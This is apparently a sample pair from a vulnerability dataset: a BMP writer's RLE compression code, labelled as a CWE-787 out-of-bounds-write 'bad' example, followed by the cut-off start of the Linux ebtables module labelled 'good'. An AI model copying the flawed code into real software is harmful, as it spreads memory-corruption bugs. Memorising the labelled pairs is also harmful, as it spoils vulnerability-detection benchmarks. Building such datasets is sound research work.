} else if(wctx->bmpversion==5) { if(!iwbmp_write_bmp_v3header(wctx)) return 0; return iwbmp_write_bmp_v45header_fields(wctx); } return iwbmp_write_bmp_v3header(wctx); } // Given wctx->maxcolor[*], sets -> bf_mask[*] and bf_amt_to_shift[*], // and sets wctx->bitcount (to 16 or 32). static int iwbmp_calc_bitfields_masks(struct iwbmpwcontext *wctx, int num_masks) { int k; int bits[4]; // R, G, B, A int tot_bits = 0; for(k=0;k<num_masks;k++) { bits[k] = iw_max_color_to_bitdepth(wctx->maxcolor[k]); tot_bits += bits[k]; } if(tot_bits > 32) { iw_set_error(wctx->ctx,"Cannot write a BMP image in this color format"); return 0; } wctx->bitcount = (tot_bits>16) ? 32 : 16; wctx->bf_amt_to_shift[0] = bits[1] + bits[2]; wctx->bf_amt_to_shift[1] = bits[2]; wctx->bf_amt_to_shift[2] = 0; if(num_masks>3) wctx->bf_amt_to_shift[3] = bits[0] + bits[1] + bits[2]; for(k=0;k<num_masks;k++) { wctx->bf_mask[k] = wctx->maxcolor[k] << wctx->bf_amt_to_shift[k]; } return 1; } // Write the BITFIELDS segment, and set the wctx->bf_amt_to_shift[] values. static int iwbmp_write_bitfields(struct iwbmpwcontext *wctx) { iw_byte buf[12]; int k; if(wctx->bitcount!=16 && wctx->bitcount!=32) return 0; for(k=0;k<3;k++) { iw_set_ui32le(&buf[4*k],wctx->bf_mask[k]); } iwbmp_write(wctx,buf,12); return 1; } static void iwbmp_write_palette(struct iwbmpwcontext *wctx) { int i,k; iw_byte buf[4]; if(wctx->palentries<1) return; buf[3] = 0; // Reserved field; always 0. for(i=0;i<wctx->palentries;i++) { if(i<wctx->pal->num_entries) { if(wctx->pal->entry[i].a == 0) { // A transparent color. Because of the way we handle writing // transparent BMP images, the first palette entry may be a // fully transparent color, whose index will not be used when // we write the image. But many apps will interpret our // "transparent" pixels as having color #0. So, set it to // the background label color if available, otherwise to an // arbitrary high-contrast color (magenta). if(wctx->img->has_bkgdlabel) { for(k=0;k<3;k++) { buf[k] = (iw_byte)iw_color_get_int_sample(&wctx->img->bkgdlabel,2-k,255); } } else { buf[0] = 255; buf[1] = 0; buf[2] = 255; } } else { buf[0] = wctx->pal->entry[i].b; buf[1] = wctx->pal->entry[i].g; buf[2] = wctx->pal->entry[i].r; } } else { buf[0] = buf[1] = buf[2] = 0; } if(wctx->bmpversion==2) iwbmp_write(wctx,buf,3); // v2 BMPs don't have the 'reserved' field. else iwbmp_write(wctx,buf,4); } } struct rle_context { struct iw_context *ctx; struct iwbmpwcontext *wctx; const iw_byte *srcrow; size_t img_width; int cur_row; // current row; 0=top (last) // Position in srcrow of the first byte that hasn't been written to the // output file size_t pending_data_start; // Current number of uncompressible bytes that haven't been written yet // (starting at pending_data_start) size_t unc_len; // Current number of identical bytes that haven't been written yet // (starting at pending_data_start+unc_len) size_t run_len; // The value of the bytes referred to by run_len. // Valid if run_len>0. iw_byte run_byte; size_t total_bytes_written; // Bytes written, after compression }; //============================ RLE8 encoder ============================ // TODO: The RLE8 and RLE4 encoders are more different than they should be. // The RLE8 encoder could probably be made more similar to the (more // complicated) RLE4 encoder. static void rle8_write_unc(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; if(rlectx->unc_len<1) return; if(rlectx->unc_len>=3 && (rlectx->unc_len&1)) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 4"); return; } if(rlectx->unc_len>254) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 5"); return; } if(rlectx->unc_len<3) { // The minimum length for a noncompressed run is 3. For shorter runs // write them "compressed". for(i=0;i<rlectx->unc_len;i++) { dstbuf[0] = 0x01; // count dstbuf[1] = rlectx->srcrow[i+rlectx->pending_data_start]; // value iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; } } else { dstbuf[0] = 0x00; dstbuf[1] = (iw_byte)rlectx->unc_len; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; iwbmp_write(rlectx->wctx,&rlectx->srcrow[rlectx->pending_data_start],rlectx->unc_len); rlectx->total_bytes_written+=rlectx->unc_len; if(rlectx->unc_len&0x1) { // Need a padding byte if the length was odd. (This shouldn't // happen, because we never write odd-length UNC segments.) dstbuf[0] = 0x00; iwbmp_write(rlectx->wctx,dstbuf,1); rlectx->total_bytes_written+=1; } } rlectx->pending_data_start+=rlectx->unc_len; rlectx->unc_len=0; } static void rle8_write_unc_and_run(struct rle_context *rlectx) { iw_byte dstbuf[2]; rle8_write_unc(rlectx); if(rlectx->run_len<1) { return; } if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 6"); return; } dstbuf[0] = (iw_byte)rlectx->run_len; dstbuf[1] = rlectx->run_byte; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; rlectx->pending_data_start+=rlectx->run_len; rlectx->run_len=0; } static void rle_write_trns(struct rle_context *rlectx, int num_trns) { iw_byte dstbuf[4]; int num_remaining = num_trns; int num_to_write; while(num_remaining>0) { num_to_write = num_remaining; if(num_to_write>255) num_to_write=255; dstbuf[0]=0x00; // 00 02 = Delta dstbuf[1]=0x02; dstbuf[2]=(iw_byte)num_to_write; // X offset dstbuf[3]=0x00; // Y offset iwbmp_write(rlectx->wctx,dstbuf,4); rlectx->total_bytes_written+=4; num_remaining -= num_to_write; } rlectx->pending_data_start += num_trns; } // The RLE format used by BMP files is pretty simple, but I've gone to some // effort to optimize it for file size, which makes for a complicated // algorithm. // The overall idea: // We defer writing data until certain conditions are met. In the meantime, // we split the unwritten data into two segments: // "UNC": data classified as uncompressible // "RUN": data classified as compressible. All bytes in this segment must be // identical. // The RUN segment always follows the UNC segment. // For each byte in turn, we examine the current state, and do one of a number // of things, such as: // - add it to RUN // - add it to UNC (if there is no RUN) // - move RUN into UNC, then add it to RUN (or to UNC) // - move UNC and RUN to the file, then make it the new RUN // Then, we check to see if we've accumulated enough data that something needs // to be written out. static int rle8_compress_row(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; iw_byte next_byte; int next_pix_is_trns; int num_trns = 0; // number of consecutive transparent pixels seen int retval = 0; rlectx->pending_data_start=0; rlectx->unc_len=0; rlectx->run_len=0; for(i=0;i<rlectx->img_width;i++) { // Read the next byte. next_byte = rlectx->srcrow[i]; next_pix_is_trns = (rlectx->wctx->pal->entry[next_byte].a==0); if(num_trns>0 && !next_pix_is_trns) { rle_write_trns(rlectx,num_trns); num_trns=0; } else if(next_pix_is_trns) { if (rlectx->unc_len>0 || rlectx->run_len>0) { rle8_write_unc_and_run(rlectx); } num_trns++; continue; } // -------------------------------------------------------------- // Add the byte we just read to either the UNC or the RUN data. if(rlectx->run_len>0 && next_byte==rlectx->run_byte) { // Byte fits in the current run; add it. rlectx->run_len++; } else if(rlectx->run_len==0) { // We don't have a RUN, so we can put this byte there. rlectx->run_len = 1; rlectx->run_byte = next_byte; } else if(rlectx->unc_len==0 && rlectx->run_len==1) { // We have one previous byte, and it's different from this one. // Move it to UNC, and make this one the RUN. rlectx->unc_len++; rlectx->run_byte = next_byte; } else if(rlectx->unc_len>0 && rlectx->run_len<(rlectx->unc_len==1 ? 3U : 4U)) { // We have a run, but it's not long enough to be beneficial. // Convert it to uncompressed bytes. // A good rule is that a run length of 4 or more (3 or more if // unc_len=1) should always be run-legth encoded. rlectx->unc_len += rlectx->run_len; rlectx->run_len = 0; // If UNC is now odd and >1, add the next byte to it to make it even. // Otherwise, add it to RUN. if(rlectx->unc_len>=3 && (rlectx->unc_len&0x1)) { rlectx->unc_len++; } else { rlectx->run_len = 1; rlectx->run_byte = next_byte; } } else { // Nowhere to put the byte: write out everything, and start fresh. rle8_write_unc_and_run(rlectx); rlectx->run_len = 1; rlectx->run_byte = next_byte; } // -------------------------------------------------------------- // If we hit certain high water marks, write out the current data. if(rlectx->unc_len>=254) { // Our maximum size for an UNC segment. rle8_write_unc(rlectx); } else if(rlectx->unc_len>0 && (rlectx->unc_len+rlectx->run_len)>254) { // It will not be possible to coalesce the RUN into the UNC (it // would be too big) so write out the UNC. rle8_write_unc(rlectx); } else if(rlectx->run_len>=255) { // The maximum size for an RLE segment. rle8_write_unc_and_run(rlectx); } // -------------------------------------------------------------- // Sanity checks. These can be removed if we're sure the algorithm // is bug-free. // We don't allow unc_len to be odd (except temporarily), except // that it can be 1. // What's special about 1 is that if we add another byte to it, it // increases the cost. For 3,5,...,253, we can add another byte for // free, so we should never fail to do that. if((rlectx->unc_len&0x1) && rlectx->unc_len!=1) { iw_set_errorf(rlectx->ctx,"Internal: BMP RLE encode error 1"); goto done; } // unc_len can be at most 252 at this point. // If it were 254, it should have been written out already. if(rlectx->unc_len>252) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 2"); goto done; } // run_len can be at most 254 at this point. // If it were 255, it should have been written out already. if(rlectx->run_len>254) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 3"); goto done; } } // End of row. Write out anything left over. rle8_write_unc_and_run(rlectx); // Write an end-of-line marker (0 0), or if this is the last row, // an end-of-bitmap marker (0 1). dstbuf[0]=0x00; dstbuf[1]= (rlectx->cur_row==0)? 0x01 : 0x00; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; retval = 1; done: return retval; } //============================ RLE4 encoder ============================ // Calculate the most efficient way to split a run of uncompressible pixels. // This only finds the first place to split the run. If the run is still // over 255 pixels, call it again to find the next split. static size_t rle4_get_best_unc_split(size_t n) { // For <=255 pixels, we can never do better than storing it as one run. if(n<=255) return n; // With runs of 252, we can store 252/128 = 1.96875 pixels/byte. // With runs of 255, we can store 255/130 = 1.96153 pixels/byte. // Hence, using runs of 252 is the most efficient way to store a large // number of uncompressible pixels. // (Lengths other than 252 or 255 are no help.) // However, there are three exceptional cases where, if we split at 252, // the most efficient encoding will no longer be possible: if(n==257 || n==510 || n==765) return 255; return 252; } // Returns the incremental cost of adding a pixel to the current UNC // (which is always either 0 or 2). // To derive this function, I calculated the optimal cost of every length, // and enumerated the exceptions to the (n%4)?0:2 rule. // The exceptions are mostly caused by the cases where // rle4_get_best_unc_split() returns 255 instead of 252. static int rle4_get_incr_unc_cost(struct rle_context *rlectx) { int n; int m; n = (int)rlectx->unc_len; if(n==2 || n==255 || n==257 || n==507 || n==510) return 2; if(n==256 || n==508) return 0; if(n>=759) { m = n%252; if(m==3 || m==6 || m==9) return 2; if(m==4 || m==8) return 0; } return (n%4)?0:2; } static void rle4_write_unc(struct rle_context *rlectx) { iw_byte dstbuf[128]; size_t pixels_to_write; size_t bytes_to_write; if(rlectx->unc_len<1) return; // Note that, unlike the RLE8 encoder, we allow this function to be called // with uncompressed runs of arbitrary length. while(rlectx->unc_len>0) { pixels_to_write = rle4_get_best_unc_split(rlectx->unc_len); if(pixels_to_write<3) { // The minimum length for an uncompressed run is 3. For shorter runs // write them "compressed". dstbuf[0] = (iw_byte)pixels_to_write; dstbuf[1] = (rlectx->srcrow[rlectx->pending_data_start]<<4); if(pixels_to_write>1) dstbuf[1] |= (rlectx->srcrow[rlectx->pending_data_start+1]); // The actual writing will occur below. Just indicate how many bytes // of dstbuf[] to write. bytes_to_write = 2; } else { size_t i; // Write the length of the uncompressed run. dstbuf[0] = 0x00; dstbuf[1] = (iw_byte)pixels_to_write; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; // Put the data to write in dstbuf[]. bytes_to_write = 2*((pixels_to_write+3)/4); iw_zeromem(dstbuf,bytes_to_write); for(i=0;i<pixels_to_write;i++) { if(i&0x1) dstbuf[i/2] |= rlectx->srcrow[rlectx->pending_data_start+i]; else dstbuf[i/2] = rlectx->srcrow[rlectx->pending_data_start+i]<<4; } } iwbmp_write(rlectx->wctx,dstbuf,bytes_to_write); rlectx->total_bytes_written += bytes_to_write; rlectx->unc_len -= pixels_to_write; rlectx->pending_data_start += pixels_to_write; } } static void rle4_write_unc_and_run(struct rle_context *rlectx) { iw_byte dstbuf[2]; rle4_write_unc(rlectx); if(rlectx->run_len<1) { return; } if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 6"); return; } dstbuf[0] = (iw_byte)rlectx->run_len; dstbuf[1] = rlectx->run_byte; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; rlectx->pending_data_start+=rlectx->run_len; rlectx->run_len=0; } // Should we move the pending compressible data to the "uncompressed" // segment (return 1), or should we write it to disk as a compressed run of // pixels (0)? static int ok_to_move_to_unc(struct rle_context *rlectx) { // This logic is probably not optimal in every case. // One possible improvement might be to adjust the thresholds when // unc_len+run_len is around 255 or higher. // Other improvements might require looking ahead at pixels we haven't // read yet. if(rlectx->unc_len==0) { return (rlectx->run_len<4); } else if(rlectx->unc_len<=2) { return (rlectx->run_len<6); } else { return (rlectx->run_len<8); } return 0; } static int rle4_compress_row(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; iw_byte next_pix; int next_pix_is_trns; int num_trns = 0; // number of consecutive transparent pixels seen int retval = 0; iw_byte tmpb; rlectx->pending_data_start=0; rlectx->unc_len=0; rlectx->run_len=0; for(i=0;i<rlectx->img_width;i++) { // Read the next pixel next_pix = rlectx->srcrow[i]; next_pix_is_trns = (rlectx->wctx->pal->entry[next_pix].a==0); if(num_trns>0 && !next_pix_is_trns) { rle_write_trns(rlectx,num_trns); num_trns=0; } else if(next_pix_is_trns) { if (rlectx->unc_len>0 || rlectx->run_len>0) { rle4_write_unc_and_run(rlectx); } num_trns++; continue; } // -------------------------------------------------------------- // Add the pixel we just read to either the UNC or the RUN data. if(rlectx->run_len==0) { // We don't have a RUN, so we can put this pixel there. rlectx->run_len = 1; rlectx->run_byte = next_pix<<4; } else if(rlectx->run_len==1) { // If the run is 1, we can always add a 2nd pixel rlectx->run_byte |= next_pix; rlectx->run_len++; } else if(rlectx->run_len>=2 && (rlectx->run_len&1)==0 && next_pix==(rlectx->run_byte>>4)) { // pixel fits in the current run; add it. rlectx->run_len++; } else if(rlectx->run_len>=3 && (rlectx->run_len&1) && next_pix==(rlectx->run_byte&0x0f)) { // pixel fits in the current run; add it. rlectx->run_len++; } else if(rlectx->unc_len==0 && rlectx->run_len==2) { // We have one previous byte, and it's different from this one. // Move it to UNC, and make this one the RUN. rlectx->unc_len+=rlectx->run_len; rlectx->run_byte = next_pix<<4; rlectx->run_len = 1; } else if(ok_to_move_to_unc(rlectx)) { // We have a compressible run, but we think it's not long enough to be // beneficial. Convert it to uncompressed bytes -- except for the last // pixel, which can be left in the run. rlectx->unc_len += rlectx->run_len-1; if((rlectx->run_len&1)==0) rlectx->run_byte = (rlectx->run_byte&0x0f)<<4; else rlectx->run_byte = (rlectx->run_byte&0xf0); // Put the next byte in RLE. (It might get moved to UNC, below.) rlectx->run_len = 2; rlectx->run_byte |= next_pix; } else { // Nowhere to put the byte: write out everything, and start fresh. rle4_write_unc_and_run(rlectx); rlectx->run_len = 1; rlectx->run_byte = next_pix<<4; } // -------------------------------------------------------------- // If any RUN bytes that can be added to UNC for free, do so. while(rlectx->unc_len>0 && rlectx->run_len>0 && rle4_get_incr_unc_cost(rlectx)==0) { rlectx->unc_len++; rlectx->run_len--; tmpb = rlectx->run_byte; // Reverse the two pixels stored in run_byte. rlectx->run_byte = (tmpb>>4) | ((tmpb&0x0f)<<4); if(rlectx->run_len==1) rlectx->run_byte &= 0xf0; } // -------------------------------------------------------------- // If we hit certain high water marks, write out the current data. if(rlectx->run_len>=255) { // The maximum size for an RLE segment. rle4_write_unc_and_run(rlectx); } // -------------------------------------------------------------- // Sanity check(s). This can be removed if we're sure the algorithm // is bug-free. // run_len can be at most 254 at this point. // If it were 255, it should have been written out already. if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 3"); goto done; } } // End of row. Write out anything left over. rle4_write_unc_and_run(rlectx); // Write an end-of-line marker (0 0), or if this is the last row, // an end-of-bitmap marker (0 1). dstbuf[0]=0x00; dstbuf[1]= (rlectx->cur_row==0)? 0x01 : 0x00; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; retval = 1; done: return retval; } //====================================================================== // Seek back and write the "file size" and "bits size" fields. static int rle_patch_file_size(struct iwbmpwcontext *wctx,size_t rlesize) { iw_byte buf[4]; size_t fileheader_size; int ret; if(!wctx->iodescr->seek_fn) { iw_set_error(wctx->ctx,"Writing compressed BMP requires a seek function"); return 0; } if(wctx->include_file_header) { // Patch the file size in the file header ret=(*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,2,SEEK_SET); if(!ret) return 0; iw_set_ui32le(buf,(unsigned int)(14+wctx->header_size+wctx->bitfields_size+wctx->palsize+rlesize)); iwbmp_write(wctx,buf,4); fileheader_size = 14; } else { fileheader_size = 0; } // Patch the "bits" size ret=(*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,fileheader_size+20,SEEK_SET); if(!ret) return 0; iw_set_ui32le(buf,(unsigned int)rlesize); iwbmp_write(wctx,buf,4); (*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,0,SEEK_END); return 1; } static int iwbmp_write_pixels_compressed(struct iwbmpwcontext *wctx, struct iw_image *img) { struct rle_context rlectx; int j; int retval = 0; iw_zeromem(&rlectx,sizeof(struct rle_context)); rlectx.ctx = wctx->ctx; rlectx.wctx = wctx; rlectx.total_bytes_written = 0; rlectx.img_width = img->width; for(j=img->height-1;j>=0;j--) { // Compress and write a row of pixels rlectx.srcrow = &img->pixels[j*img->bpr]; rlectx.cur_row = j; if(wctx->bitcount==4) { if(!rle4_compress_row(&rlectx)) goto done; } else if(wctx->bitcount==8) { if(!rle8_compress_row(&rlectx)) goto done; } else { goto done; } } // Back-patch the 'file size' and 'bits size' fields if(!rle_patch_file_size(wctx,rlectx.total_bytes_written)) goto done; retval = 1; done: return retval; } static void iwbmp_write_pixels_uncompressed(struct iwbmpwcontext *wctx, struct iw_image *img) { int j; iw_byte *dstrow = NULL; const iw_byte *srcrow; dstrow = iw_mallocz(wctx->ctx,wctx->unc_dst_bpr); if(!dstrow) goto done; for(j=img->height-1;j>=0;j--) { srcrow = &img->pixels[j*img->bpr]; switch(wctx->bitcount) { case 32: bmpw_convert_row_16_32(wctx,srcrow,dstrow,img->width); break; case 24: bmpw_convert_row_24(wctx,srcrow,dstrow,img->width); break; case 16: bmpw_convert_row_16_32(wctx,srcrow,dstrow,img->width); break; case 8: bmpw_convert_row_8(srcrow,dstrow,img->width); break; case 4: bmpw_convert_row_4(srcrow,dstrow,img->width); break; case 1: bmpw_convert_row_1(srcrow,dstrow,img->width); break; } iwbmp_write(wctx,dstrow,wctx->unc_dst_bpr); } done: if(dstrow) iw_free(wctx->ctx,dstrow); return; } // 0 = no transparency // 1 = binary transparency // 2 = partial transparency static int check_palette_transparency(const struct iw_palette *p) { int i; int retval = 0; for(i=0;i<p->num_entries;i++) { if(p->entry[i].a!=255) retval=1; if(p->entry[i].a!=255 && p->entry[i].a!=0) return 2; } return retval; } // Do some preparations needed to write a 16-bit or 32-bit BMP. static int setup_16_32bit(struct iwbmpwcontext *wctx, int mcc_r, int mcc_g, int mcc_b, int mcc_a) { int has_alpha; has_alpha = IW_IMGTYPE_HAS_ALPHA(wctx->img->imgtype); if(wctx->bmpversion<3) { iw_set_errorf(wctx->ctx,"Bit depth incompatible with BMP version %d", wctx->bmpversion); return 0; } if(has_alpha && wctx->bmpversion<5) { iw_set_error(wctx->ctx,"Internal: Attempt to write v3 16- or 32-bit image with transparency"); return 0; } // Make our own copy of the max color codes, so that we don't have to // do "if(grayscale)" so much. wctx->maxcolor[0] = mcc_r; wctx->maxcolor[1] = mcc_g; wctx->maxcolor[2] = mcc_b; if(has_alpha) wctx->maxcolor[3] = mcc_a; if(!iwbmp_calc_bitfields_masks(wctx,has_alpha?4:3)) return 0; if(mcc_r==31 && mcc_g==31 && mcc_b==31 && !has_alpha) { // For the default 5-5-5, set the 'compression' to BI_RGB // instead of BITFIELDS, and don't write a BITFIELDS segment // (or for v5 BMP, don't set the Mask fields). wctx->bitfields_size = 0; } else { wctx->uses_bitfields = 1; wctx->bitfields_size = (wctx->bmpversion==3) ? 12 : 0; } return 1; } static int iwbmp_write_main(struct iwbmpwcontext *wctx) { struct iw_image *img; int cmpr_req; int retval = 0; int x; const char *optv; img = wctx->img; wctx->bmpversion = 0; optv = iw_get_option(wctx->ctx, "bmp:version"); if(optv) { wctx->bmpversion = iw_parse_int(optv); } if(wctx->bmpversion==0) wctx->bmpversion=3; if(wctx->bmpversion==4) { iw_warning(wctx->ctx,"Writing BMP v4 is not supported; using v3 instead"); wctx->bmpversion=3; } if(wctx->bmpversion!=2 && wctx->bmpversion!=3 && wctx->bmpversion!=5) { iw_set_errorf(wctx->ctx,"Unsupported BMP version: %d",wctx->bmpversion); goto done; } if(wctx->bmpversion>=3) cmpr_req = iw_get_value(wctx->ctx,IW_VAL_COMPRESSION); else cmpr_req = IW_COMPRESSION_NONE; if(wctx->bmpversion==2) wctx->header_size = 12; else if(wctx->bmpversion==5) wctx->header_size = 124; else wctx->header_size = 40; wctx->no_cslabel = iw_get_value(wctx->ctx,IW_VAL_NO_CSLABEL); // If any kind of compression was requested, use RLE if possible. if(cmpr_req==IW_COMPRESSION_AUTO || cmpr_req==IW_COMPRESSION_NONE) cmpr_req = IW_COMPRESSION_NONE; else cmpr_req = IW_COMPRESSION_RLE; if(img->imgtype==IW_IMGTYPE_RGB) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_RED], img->maxcolorcode[IW_CHANNELTYPE_GREEN], img->maxcolorcode[IW_CHANNELTYPE_BLUE],0)) { goto done; } } else { wctx->bitcount=24; } } else if(img->imgtype==IW_IMGTYPE_PALETTE) { if(!wctx->pal) goto done; x = check_palette_transparency(wctx->pal); if(x!=0 && wctx->bmpversion<3) { iw_set_error(wctx->ctx,"Cannot save as a transparent BMP: Incompatible BMP version"); goto done; } else if(x==2) { iw_set_error(wctx->ctx,"Cannot save this image as a transparent BMP: Has partial transparency"); goto done; } else if(x!=0 && cmpr_req!=IW_COMPRESSION_RLE) { iw_set_error(wctx->ctx,"Cannot save as a transparent BMP: RLE compression required"); goto done; } if(wctx->pal->num_entries<=2 && cmpr_req!=IW_COMPRESSION_RLE) wctx->bitcount=1; else if(wctx->pal->num_entries<=16) wctx->bitcount=4; else wctx->bitcount=8; } else if(img->imgtype==IW_IMGTYPE_RGBA) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_RED], img->maxcolorcode[IW_CHANNELTYPE_GREEN], img->maxcolorcode[IW_CHANNELTYPE_BLUE], img->maxcolorcode[IW_CHANNELTYPE_ALPHA])) { goto done; } } else { if(!setup_16_32bit(wctx,255,255,255,255)) { goto done; } } } else if(img->imgtype==IW_IMGTYPE_GRAYA) { if(img->reduced_maxcolors) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_ALPHA])) { goto done; } } else { if(!setup_16_32bit(wctx,255,255,255,255)) { goto done; } } } else if(img->imgtype==IW_IMGTYPE_GRAY) { if(img->reduced_maxcolors) { if(img->maxcolorcode[IW_CHANNELTYPE_GRAY]<=1023) { if(!setup_16_32bit(wctx,img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY], img->maxcolorcode[IW_CHANNELTYPE_GRAY],0)) { goto done; } } else { iw_set_error(wctx->ctx,"Cannot write grayscale BMP at this bit depth"); goto done; } } else { // We normally won't get here, because a grayscale image should have // been optimized and converted to a palette image. // But maybe that optimization was disabled. wctx->bitcount=24; } } else { iw_set_error(wctx->ctx,"Internal: Bad image type for BMP"); goto done; } if(cmpr_req==IW_COMPRESSION_RLE && (wctx->bitcount==4 || wctx->bitcount==8)) { wctx->compressed = 1; } wctx->unc_dst_bpr = iwbmp_calc_bpr(wctx->bitcount,img->width); wctx->unc_bitssize = wctx->unc_dst_bpr * img->height; wctx->palentries = 0; if(wctx->pal) { if(wctx->bmpversion==2) { wctx->palentries = 1<<wctx->bitcount; wctx->palsize = wctx->palentries*3; } else { if(wctx->bitcount==1) { // The documentation says that if the bitdepth is 1, the palette // contains exactly two entries. wctx->palentries=2; } else { wctx->palentries = wctx->pal->num_entries; } wctx->palsize = wctx->palentries*4; } } // File header iwbmp_write_file_header(wctx); // Bitmap header ("BITMAPINFOHEADER") if(!iwbmp_write_bmp_header(wctx)) { goto done; } if(wctx->bitfields_size>0) { if(!iwbmp_write_bitfields(wctx)) goto done; } // Palette iwbmp_write_palette(wctx); // Pixels if(wctx->compressed) { if(!iwbmp_write_pixels_compressed(wctx,img)) goto done; } else { iwbmp_write_pixels_uncompressed(wctx,img); } retval = 1; done: return retval; } IW_IMPL(int) iw_write_bmp_file(struct iw_context *ctx, struct iw_iodescr *iodescr) { struct iwbmpwcontext wctx; int retval=0; struct iw_image img1; iw_zeromem(&img1,sizeof(struct iw_image)); iw_zeromem(&wctx,sizeof(struct iwbmpwcontext)); wctx.ctx = ctx; wctx.include_file_header = 1; wctx.iodescr=iodescr; iw_get_output_image(ctx,&img1); wctx.img = &img1; if(wctx.img->imgtype==IW_IMGTYPE_PALETTE) { wctx.pal = iw_get_output_palette(ctx); if(!wctx.pal) goto done; } iw_get_output_colorspace(ctx,&wctx.csdescr); if(!iwbmp_write_main(&wctx)) { iw_set_error(ctx,"BMP write failed"); goto done; } retval=1; done: return retval; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3368_0
crossvul-cpp_data_good_106_0
/* * ebtables * * Author: * Bart De Schuymer <bdschuym@pandora.be> * * ebtables.c,v 2.0, July, 2002 * * This code is strongly inspired by the iptables code which is * Copyright (C) 1999 Paul `Rusty' Russell & Michael J. Neuling * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <linux/kmod.h> #include <linux/module.h> #include <linux/vmalloc.h> #include <linux/netfilter/x_tables.h> #include <linux/netfilter_bridge/ebtables.h> #include <linux/spinlock.h> #include <linux/mutex.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/smp.h> #include <linux/cpumask.h> #include <linux/audit.h> #include <net/sock.h> /* needed for logical [in,out]-dev filtering */ #include "../br_private.h" #define BUGPRINT(format, args...) printk("kernel msg: ebtables bug: please "\ "report to author: "format, ## args) /* #define BUGPRINT(format, args...) */ /* Each cpu has its own set of counters, so there is no need for write_lock in * the softirq * For reading or updating the counters, the user context needs to * get a write_lock */ /* The size of each set of counters is altered to get cache alignment */ #define SMP_ALIGN(x) (((x) + SMP_CACHE_BYTES-1) & ~(SMP_CACHE_BYTES-1)) #define COUNTER_OFFSET(n) (SMP_ALIGN(n * sizeof(struct ebt_counter))) #define COUNTER_BASE(c, n, cpu) ((struct ebt_counter *)(((char *)c) + \ COUNTER_OFFSET(n) * cpu)) static DEFINE_MUTEX(ebt_mutex); #ifdef CONFIG_COMPAT static void ebt_standard_compat_from_user(void *dst, const void *src) { int v = *(compat_int_t *)src; if (v >= 0) v += xt_compat_calc_jump(NFPROTO_BRIDGE, v); memcpy(dst, &v, sizeof(v)); } static int ebt_standard_compat_to_user(void __user *dst, const void *src) { compat_int_t cv = *(int *)src; if (cv >= 0) cv -= xt_compat_calc_jump(NFPROTO_BRIDGE, cv); return copy_to_user(dst, &cv, sizeof(cv)) ? -EFAULT : 0; } #endif static struct xt_target ebt_standard_target = { .name = "standard", .revision = 0, .family = NFPROTO_BRIDGE, .targetsize = sizeof(int), #ifdef CONFIG_COMPAT .compatsize = sizeof(compat_int_t), .compat_from_user = ebt_standard_compat_from_user, .compat_to_user = ebt_standard_compat_to_user, #endif }; static inline int ebt_do_watcher(const struct ebt_entry_watcher *w, struct sk_buff *skb, struct xt_action_param *par) { par->target = w->u.watcher; par->targinfo = w->data; w->u.watcher->target(skb, par); /* watchers don't give a verdict */ return 0; } static inline int ebt_do_match(struct ebt_entry_match *m, const struct sk_buff *skb, struct xt_action_param *par) { par->match = m->u.match; par->matchinfo = m->data; return m->u.match->match(skb, par) ? EBT_MATCH : EBT_NOMATCH; } static inline int ebt_dev_check(const char *entry, const struct net_device *device) { int i = 0; const char *devname; if (*entry == '\0') return 0; if (!device) return 1; devname = device->name; /* 1 is the wildcard token */ while (entry[i] != '\0' && entry[i] != 1 && entry[i] == devname[i]) i++; return devname[i] != entry[i] && entry[i] != 1; } /* process standard matches */ static inline int ebt_basic_match(const struct ebt_entry *e, const struct sk_buff *skb, const struct net_device *in, const struct net_device *out) { const struct ethhdr *h = eth_hdr(skb); const struct net_bridge_port *p; __be16 ethproto; if (skb_vlan_tag_present(skb)) ethproto = htons(ETH_P_8021Q); else ethproto = h->h_proto; if (e->bitmask & EBT_802_3) { if (NF_INVF(e, EBT_IPROTO, eth_proto_is_802_3(ethproto))) return 1; } else if (!(e->bitmask & EBT_NOPROTO) && NF_INVF(e, EBT_IPROTO, e->ethproto != ethproto)) return 1; if (NF_INVF(e, EBT_IIN, ebt_dev_check(e->in, in))) return 1; if (NF_INVF(e, EBT_IOUT, ebt_dev_check(e->out, out))) return 1; /* rcu_read_lock()ed by nf_hook_thresh */ if (in && (p = br_port_get_rcu(in)) != NULL && NF_INVF(e, EBT_ILOGICALIN, ebt_dev_check(e->logical_in, p->br->dev))) return 1; if (out && (p = br_port_get_rcu(out)) != NULL && NF_INVF(e, 